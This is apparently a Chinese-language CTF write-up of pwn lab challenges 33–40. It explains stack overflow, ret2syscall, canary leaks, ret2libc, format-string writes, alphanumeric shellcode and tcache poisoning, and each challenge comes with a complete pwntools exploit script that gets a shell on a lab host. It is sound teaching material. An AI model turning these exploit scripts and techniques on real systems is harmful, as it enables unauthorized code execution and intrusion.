第33题、栈溢出分析及解决方案

pwn入门题，栈溢出覆盖v3的值即可

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10652
p = remote(host, port)

p.sendlineafter(b"Enter your name:", b"111")
payload = b'~' * 248 + p64(20150972)
p.sendlineafter(b"Enter your comment:", payload)
p.interactive()

# flag是动态生成的，每个人flag都不一样
# 我的flag：vmc{6i9rGAzU69RJ3quOzedbOKly5VyQ4HfD}
```

第34题、ret2syscall分析及解决方案

解题思路：

本题需要通过构造 ROP 链实现 `return to syscall`，利用程序中的 `syscall` 指令完成特定系统调用（如 `execve`）。具体步骤如下：

1. **确定系统调用号和参数**：
   对于 `execve("/bin/sh", NULL, NULL)`：
   - **系统调用号**：`rax = 59`（在 x86-64 架构下）。
   - **参数**：`rdi = "/bin/sh"`，`rsi = 0`，`rdx = 0`。
2. **凑出参数**：
   通过寻找程序或二进制中的 **ROP gadgets** 来加载寄存器：
   - **设置 `rax`**：找到可以设置 `rax` 的 gadget，例如 `pop rax; ret`，将其设置为 59。
   - **设置 `rdi`**：找到 `pop rdi; ret` gadget，加载指向字符串 `/bin/sh` 的地址。
   - **设置 `rsi` 和 `rdx`**：找到类似 `pop rsi; pop rdx; ret` 的 gadget，分别加载 0。
3. **跳转到 syscall**：
   寻找 `syscall` 指令地址（一般通过静态分析或工具如 `ROPgadget` 查找），将其放到 ROP 链末尾。

最终通过这些操作构造一个完整的 ROP 链，劫持程序控制流，完成 `execve` 系统调用，实现调用 `/bin/sh` 的目标。

解题脚本

```
from pwn import *

host = '10.12.153.73'
```

```
port = 10662
p = remote(host, port)

pop_rax = 0x40117e
pop_rdi = 0x401180
pop_rsi_rdx = 0x401182
syscall = 0x401185
sh_addr = 0x404040

payload = b'~'*72
payload += p64(pop_rdi) + p64(sh_addr)
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rsi_rdx) + p64(0) + p64(0)
payload += p64(syscall)
p.sendlineafter(b"Can you make a syscall?\n", payload)
p.interactive()

# flag是动态生成的，每个人flag都不一样
# 我的flag：vmc{OuzvGCiO0fXMgwEM8H7sAnTcQ6o2SY90}
```

第35题、简单rop分析及解决方案

栈保护的原理：

栈保护（Stack Canary）是一种防御机制，用于防止基于栈的缓冲区溢出攻击。它的核心原理是在函数调用栈的缓冲区和返回地址之间插入一个称为 "canary" 的随机值。函数执行时，若攻击者试图溢出缓冲区以覆盖返回地址，通常会改变 canary 值。在函数返回前，程序会检查 canary 是否被修改，如果被修改，则会终止程序执行以防止攻击。

解题思路：

本题需要绕过栈保护机制。程序通过 `read` 函数提供了两次输入机会，分别用于泄露栈保护值和构造 ROP 链。具体步骤如下：

1. **泄露栈保护值**：
   栈保护的 cookie 值通常以 `\x00` 结尾，由于栈是以小端字节序存储数据，因此 `char s[40]` 中高位的字节正好会接触到 cookie 的第一个字节 `\x00`。因此，在第一次输入时，通过填充 41 个字符覆盖 `char s[40]`，使得栈保护的 cookie 值在后续的 `printf("%s", s)` 中被打印出来。这样，我们就能够泄露出 canary 值，并在后续利用中使用它。
2. **构造 ROP 链**：
   第二次输入，通过缓冲区溢出构造一个 ROP 链。在此过程中将泄露的 cookie 值填入栈保护的位置，以绕过栈保护检查。并通过 `pop rdi` 设置 `/bin/sh` 的地址，随后调用 `system("/bin/sh")` 打开一个 bash shell，最终读取 flag 文件。

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10692
p = remote(host, port)
```

```
pop_rdi = 0x4011DE
sh_addr = 0x404058
call_sys = 0x40127E

payload = cyclic(40)
p.sendlineafter(b'Rush B!!!\n', payload)
p.recvuntil(b"\n")
canary = u64(p.recv()[:7].rjust(8, b'\0'))

payload = cyclic(40)
payload += p64(canary)
payload += cyclic(8)
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(call_sys)
p.sendline(payload)
p.interactive()

# flag是动态生成的，每个人flag都不一样
# 我的flag：vmc{onlCQIt2L5ifvuspW2wX3SWDxkzetQf9}
```

第36题、整数溢出分析及解决方案

触发 SIGFPE 的机制：

触发 `SIGFPE` 的常见方式是通过除以零或整数溢出。例如，在整数溢出时，程序会调用 `signal(SIGFPE, handler)` 中指定的 `handler`，这里就是 `backdoor`。

解题思路

1. **IDA 静态分析**：
   - 发现程序中存在一个后门函数 `backdoor`，它的功能是通过栈溢出漏洞执行任意命令。
   - 然而，程序正常运行中没有直接调用 `backdoor` 函数，而是通过 `signal` 机制设置了 `SIGFPE`（浮点异常/整数溢出）信号处理，当触发 `SIGFPE` 时会调用 `backdoor` 函数。
2. **触发整数溢出**：
   - 可以利用整数溢出的特性，例如在 32 位系统上，整数的范围是 `[-2147483648, 2147483647]`。
   - 当计算 `-2147483648 / -1` 时，结果应该是 `2147483648`，但由于超过了 `int` 的最大值 `2147483647`，导致溢出，从而触发 `SIGFPE`。
3. **栈溢出执行任意命令**：
   - 在触发 `backdoor` 后，利用栈溢出漏洞控制函数的返回地址，跳转到系统函数 `system("/bin/sh")`，即可获得 shell。

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10413
p = remote(host, port)
```

```
p.sendlineafter(b"first key :", b'-2147483648')
p.sendlineafter(b"second key :", b'-1')
payload = cyclic(88) + p64(0x4007CB)
p.sendlineafter(b"your name :", payload)
p.interactive()

# 做这一题时平台爆炸了
# 我拿到的flag：flag{TEST_FLAG}
```

第37题、`ret2libc`分析及解决方案

背景知识

1. **GOT（Global Offset Table）：**
   GOT 是一个表格，存储了程序中动态链接库函数的实际地址。在第一次调用动态函数时，GOT 中的条目被动态解析并填充实际地址，之后的调用直接通过 GOT 跳转到对应函数。
2. **PLT（Procedure Linkage Table）：**
   PLT 是程序调用动态函数的入口，通过 PLT 表可以间接访问 GOT。每次调用动态库函数时，程序会先跳转到 PLT，PLT 再使用 GOT 中记录的实际地址完成函数调用。
3. **libc：**
   libc 是 Linux 系统的标准 C 库，包含常见的系统调用和函数，例如 `read`、`system` 和 `/bin/sh` 的字符串。攻击者通过利用程序加载的 libc，结合其已知偏移地址，实现攻击。
4. **基地址：**
   libc 加载到内存后，会有一个起始地址，称为基地址。通过泄露某个函数（如 `read`）的实际地址，减去其在 libc 中的偏移量，可以计算出 libc 的基地址。

解题思路

1. 构造第一次 Payload

- **目标：**
  - 通过栈溢出，泄露 libc 中 `puts` 函数的实际地址。
  - 重定向到某个函数，使程序进入可控循环，便于后续操作。
- **步骤：**
  - 填充缓冲区，覆盖返回地址。
  - 将栈指针跳转到 `pop rdi` 的 ROP Gadget，设置函数参数（GOT 中函数的地址）。
  - 跳转到 `puts` 的 PLT 表，打印 GOT 表中 `puts` 函数的实际地址。
  - 跳转回 `vuln` 函数，使程序可以重新输入。
- **效果：**
  通过打印出 libc 中的 `puts` 函数的实际地址，泄露信息。

2. 计算基地址并构造第二次 Payload

- **目标：**
  - 根据泄露出的实际地址，计算 libc 的基地址。
  - 使用基地址定位 libc 中的 `system` 函数和 `/bin/sh` 字符串。
- **步骤：**
  - 基地址 = 实际地址 - 偏移量（通过 `pwntools` 读取ELF文件的 `symbols` 获取偏移量）。

- `/bin/sh` 地址 = 基地址 + `/bin/sh` 偏移量。
- `system` 地址 = 基地址 + `system` 偏移量。

- **Payload 构造：**
  - 首先填充缓冲区，覆盖返回地址。
  - 需要额外加入 `p64(ret)` 指令，因为在 Ubuntu 18 及以上版本的系统中，调用 `system` 函数时会进行栈对齐检查。如果栈未对齐到 16 字节，程序将直接崩溃，因此需要手动对齐栈。而ret指令并不影响ROP链的运行，所以选择加入ret空转。
  - 利用 `pop rdi` ROP Gadget，将 `/bin/sh` 的地址作为参数压入栈。
  - 跳转到 `system` 函数地址，执行 `/bin/sh`。

3. 交互 Shell 获得目标程序的 flag

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10696
p = remote(host, port)

e = ELF("./37")
pop_rdi = 0x40117E
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]
vuln_addr = e.symbols["vuln"]

payload = cyclic(72)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
p.sendlineafter(b'Go Go Go!!!\n', payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF("./libc.so.6")
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

ret = 0x4011CC
payload = cyclic(72)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()

# flag是动态生成的，每个人flag都不一样
# 我的flag：vmc{LerSVUDPTkkyrYwwFiQkWtfuZlk5fPfj}
```

第38题、格式化字符串分析及解决方案

背景知识

1. 格式化字符串漏洞：

格式化字符串漏洞是由于 `printf` 等格式化输出函数未正确处理用户输入引起的安全问题。
在 `printf(user_input)` 中，用户可以利用格式化占位符（如 `%p`，`%x`，`%n`）直接读取或写入内存。

2. 利用格式化字符串漏洞：

- **读数据**： 使用 `%p` 或 `%s` 占位符可以泄露内存地址中的数据。
- **写数据**： 使用 `%n` 占位符可以将已输出字符的数量写入内存地址。例如：
  - `%10$n` 将输出的字符数写入指定栈上的地址（偏移 10）。
  - `%hhn` 写入 1 字节，`%hn` 写入 2 字节。

解题思路

1. 用 IDA 静态分析

- **目标**： 找到程序逻辑，定位可利用的漏洞和目标函数。
- **分析结果**：
  1. 程序中有一个 `success` 函数（地址：`0x08049317`），调用该函数可以输出 flag。
  2. `success` 函数没有被直接调用，需修改返回地址使其指向 `success`。
  3. `game` 函数中存在格式化字符串漏洞，可以利用该漏洞泄露内存数据并修改返回地址。

---

2. 泄露内存信息

- **方法**： 利用 `printf` 的格式化字符串漏洞泄露栈上数据。
- **调试**： 使用 `pwndbg` 调试：
  1. 使用 `stack` 命令查看栈布局。
  2. 根据栈布局搜索 `game` 函数的返回地址在栈上的位置。
- **计算偏移**： 根据泄露的信息计算返回地址在栈上的偏移，这样可以在脚本中通过字符串地址动态计算返回地址的位置。

---

3. 修改返回地址

目标： 将 `game` 函数的返回地址 `0x08049797` 修改为 `success` 函数地址 `0x08049317`。

方法：

- **分块写入**： 因为 `0x08049317` 是一个较大的数，可以分字节逐个修改（小端存储）。
- **分析**：
  1. `game` 函数返回地址的高 2 字节和 `success` 函数地址相同，只需修改低 2 字节。
  2. 修改 `game` 返回地址的低 1 字节和次低 1 字节：
     - 修改低字节：`game_ret + 0`
     - 修改次低字节：`game_ret + 1`

- **构造 Payload：**
  1. 使用 `%c` 填充所需字符数。
  2. 使用 `%hhn` 修改目标地址的 1 字节内容。

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10099
p = remote(host, port)

p.sendline(b'3')
payload = b"%p"
p.sendlineafter(b"Input what you want to talk: \n", payload)
p.recv()
res = p.recv().split(b'\n')
input_addr = int(res[1], 16)

game_ret = input_addr+0x40

p.sendline(b'3')
payload = b"%23c%10$hhn~"+p32(game_ret)
p.sendlineafter(b"Input what you want to talk: \n", payload)
p.recv()
p.recv()

p.sendline(b'3')
payload = b"%147c%10$hhn"+p32(game_ret+1)
p.sendlineafter(b"Input what you want to talk: \n", payload)
p.recv()
p.recv()

p.sendline(b'4')
p.recv()
flag = p.recv().decode()
print(flag)

# 做这一题时平台爆炸了
# 我拿到的flag：flag{TEST_FLAG}
```

第39题、`shellcode`分析及解决方案

背景知识

1. 什么是 Shellcode?

- Shellcode 是一段可执行的机器代码，通常用于漏洞利用过程中，攻击者通过它执行指令或打开一个 shell。
- 它通常以二进制形式嵌入到内存中，并利用缓冲区溢出或其他漏洞执行。

2. 什么是可见字符 Shellcode?

- 可见字符 Shellcode 是一种特殊形式的 Shellcode，仅由可打印的 ASCII 字符组成（例如字母、数字、标点符号）。
- 它用于绕过输入过滤器或限制，比如只允许可见字符的输入场景。

解题思路

1. 准备工具和环境

- 下载并安装国人修改版 alpha （这个已经编译好了），用于将 Shellcode 转换为可见字符 Shellcode。

```
git clone https://github.com/TaQini/alpha3.git
cd alpha3
```

2. 生成可见字符 Shellcode

- 下载的修改版alpha中已经有shellcode了，注意这个脚本要用python2跑

```
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

PhO666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0
g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0
a070t
```

- 输出即为可见字符 Shellcode。

3. 提交可见字符 Shellcode

- 将输出的内容复制到脚本中作为payload提交。
- 脚本执行后，程序将运行 Shellcode，直接cat /flag即可。

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10105
p = remote(host, port)

payload =
b"PhO666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7
O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

p.sendlineafter(b">", payload)
p.interactive()

# 做这一题时平台爆炸了
# 我拿到的flag：flag{TEST_FLAG}
```

第40题、堆溢出分析及解决方案

解题思路

1. 泄露 `libc` 地址

目标：

- 利用 `unsorted bin` 的堆块特性泄露 `libc` 中 `main_arena` 的地址，进而计算 `libc_base` 和 shellcode 的位置。

步骤：

1. **申请一个大于 `0x408` 的堆块并释放**：
   - 堆块大小大于 `0x408` 会进入 `unsorted bin`。
   - 释放后，`fd` 指针会指向 `main_arena+96`。
   - 打印出 `fd` 的值，即可泄露 `main_arena+96` 的地址。
2. **计算基地址和目标地址**：
   - `main_arena = fd - 96`
   - `malloc_hook = main_arena - 0x10`
   - `libc_base = malloc_hook - libc.sym['__malloc_hook']`
   - `shell_addr = libc_base + 0x10A2FC`

---

2. 修改 `__malloc_hook` 指针

目标：

- 使用 `tcache poisoning` 将 `__malloc_hook` 修改为预留的 Shell 地址。

步骤：

1. **伪造 `tcache` 链表**：
   - 释放一个小堆块（如 `0x20`）并修改其 `fd` 指针，使其指向 `__malloc_hook`。
2. **多次申请堆块**：
   - 第一次申请从 `tcache` 返回伪造的堆块。
   - 第二次申请堆块覆盖 `__malloc_hook`。
3. **覆盖 `__malloc_hook`**：
   - 将 `__malloc_hook` 的值替换为 `shell_addr`。

---

3. 执行 Shell

目标：

- 利用程序下一次调用 `malloc` 时直接跳转到 Shell 地址。

步骤：

1. **通过 Payload 构造 shellcode：**
   - Shell 地址为基于 `libc` 的偏移。
2. **触发 malloc：**
   - 当程序再次调用 `malloc` 时，会执行 `__malloc_hook` 的地址，即跳转到 Shell。

---

4. 获取 Flag

步骤：

- 进入交互式 Shell。
- 在 Shell 中执行命令 `cat /flag`。

解题脚本

```
from pwn import *

host = '10.12.153.73'
port = 10647
p = remote(host, port)

libc = ELF('./libc-2.27.so')


def add(i, size):
    p.sendlineafter(b"Your choice >> ", b'1')
    p.sendlineafter(b"index: ", str(i).encode())
    p.sendlineafter(b"size: ", str(size).encode())


def free(i):
    p.sendlineafter(b"Your choice >> ", b'2')
    p.sendlineafter(b"index: ", str(i).encode())


def show(i):
    p.sendlineafter(b"Your choice >> ", b'3')
    p.sendlineafter(b"index: ", str(i).encode())


def edit(i, content):
    p.sendlineafter(b"Your choice >> ", b'4')
    p.sendlineafter(b"index: ", str(i).encode())
    p.sendlineafter(b"content: ", content)


add(0, 0x410)
add(1, 0x20)
free(0)
show(0)
main_arena = u64(p.recv()[9:-1].ljust(8, b'\x00')) - 96
malloc_hook = main_arena - 0x10
```

```
libc_base = malloc_hook - libc.sym['__malloc_hook']
shell = libc_base + 0x10A2FC
free(1)
edit(1, p64(malloc_hook))
add(2, 0x20)
add(3, 0x20)
edit(3, p64(shell))
add(4, 0x10)
p.interactive()

# 做这一题时平台爆炸了
# 我拿到的flag：flag{TEST_FLAG}
```

⭐ Mevinagrise ⭐

> **Status**: Always Learning
> **Motto**: Carpe Diem

"Turning code into magic, one line at a time."
